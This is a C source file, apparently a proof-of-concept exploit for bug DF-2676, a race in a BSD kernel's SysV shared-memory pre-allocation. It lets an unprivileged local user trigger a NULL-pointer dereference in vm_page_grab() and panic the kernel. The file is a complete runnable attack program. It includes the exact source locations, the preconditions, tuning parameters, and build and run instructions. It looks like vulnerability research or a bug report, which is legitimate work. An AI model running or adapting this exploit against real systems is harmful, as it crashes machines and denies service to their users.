DF-2676 / shm_grab_race2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 | /* * DF-2676 proof-of-concept (v2): NULL-pointer dereference in vm_page_grab() * (sys/vm/vm_page.c:3841-3882) reached from the SysV-shm pre-allocation loop * in shmget_allocate_segment() (sys/kern/sysv_shm.c:573-590). * * Bug: vm_page_grab() calls vm_page_lookup_busy_try(..., TRUE, &error); * when the page exists but is hard/soft-busy (PBUSY_LOCKED) and the caller * did NOT pass VM_ALLOC_RETRY, the code does: * * m = NULL; * break; * ... * if (m->valid == 0) { <-- NULL deref (vm_page.c:3882) * * The only in-tree caller without VM_ALLOC_RETRY is the SysV shm * pre-allocation loop (VM_ALLOC_SYSTEM | VM_ALLOC_NULL_OK | VM_ALLOC_ZERO), * which runs *after* the segment is published (sysv_shm.c:553), so a * concurrent shmat() + page fault on the same pindex holds the page busy * (vm_fault busies the page from allocation until pmap_enter/wakeup) and * the pre-allocation's vm_page_grab() takes the error path -> kernel * panics reading ((struct vm_page *)NULL)->valid. * * v2 notes: IPC_RMID is NEVER issued while faulters are alive. Round * structure: [stale cleanup] -> create N segments (faulters race each * prealloc) -> wait for faulters to exit -> RMID everything. This avoids * the unrelated sysv_shm shmat-vs-IPCRMID race (sysv_shm.c) that otherwise * panics the box first (vm_object_terminate2 ref_count=1). * * Preconditions: kern.ipc.shm_use_phys >= 2 (root sets it; default is 1). * Trigger: unprivileged local user. * * Build: cc -O2 -Wall -o shm_grab_race2 shm_grab_race2.c * Run: ./shm_grab_race2 [nsegs=60] [segmb=8] [rounds=50] */ #include <sys/types.h> #include <sys/ipc.h> #include <sys/shm.h> #include <sys/signal.h> #include <sys/stat.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define TOKFILE "/tmp/.df2676b_tok" #define NFAULT 6 static unsigned long segsz = 8UL * 1024 * 1024; static int nsegs = 60; static int rounds = 50; static key_t makekey(int i) { return ftok(TOKFILE, 33 + (i % 220)); } static void cleanup_stale(void) { int i, shmid; for (i = 0; i < nsegs; i++) { shmid = shmget(makekey(i), 0, 0); if (shmid >= 0) shmctl(shmid, IPC_RMID, NULL); } } static void creator(void) { int i, shmid; for (i = 0; i < nsegs; i++) { shmid = shmget(makekey(i), segsz, IPC_CREAT | IPC_EXCL | 0666); if (shmid < 0) continue; /* committed space etc; skip */ /* prealloc loop + race window run INSIDE shmget above */ } } static void faulter(int seed) { int i, shmid, tries; char *p; unsigned long off, npages = segsz / 4096; for (i = 0; i < nsegs; i++) { shmid = -1; for (tries = 0; tries < 20000; tries++) { shmid = shmget(makekey(i), 0, 0); if (shmid >= 0) break; usleep(40); } if (shmid < 0) continue; p = shmat(shmid, NULL, 0); if (p == (void *)-1) continue; for (off = ((unsigned long)seed * 4096) % segsz; off < segsz; off += 4096) p[off] = (char)1; /* write fault */ (void)npages; shmdt(p); } } int main(int argc, char **argv) { int r, i; pid_t pid; FILE *f; if (argc > 1) nsegs = atoi(argv[1]); if (argc > 2) segsz = (unsigned long)atoi(argv[2]) * 1024 * 1024; if (argc > 3) rounds = atoi(argv[3]); f = fopen(TOKFILE, "w"); if (f) { fclose(f); chmod(TOKFILE, 0666); } setvbuf(stdout, NULL, _IONBF, 0); printf("DF-2676 v2: nsegs=%d segsz=%luMB rounds=%d faulters=%d\n", nsegs, segsz / (1024 * 1024), rounds, NFAULT); for (r = 0; r < rounds; r++) { cleanup_stale(); /* no faulters alive: safe */ for (i = 0; i < NFAULT; i++) { pid = fork(); if (pid == 0) { faulter(i + 1); _exit(0); } } creator(); for (i = 0; i < NFAULT; i++) wait(NULL); cleanup_stale(); /* faulters exited: safe */ printf("round %d done\n", r); } printf("DF-2676: no panic in %d rounds\n", rounds); return 0; } |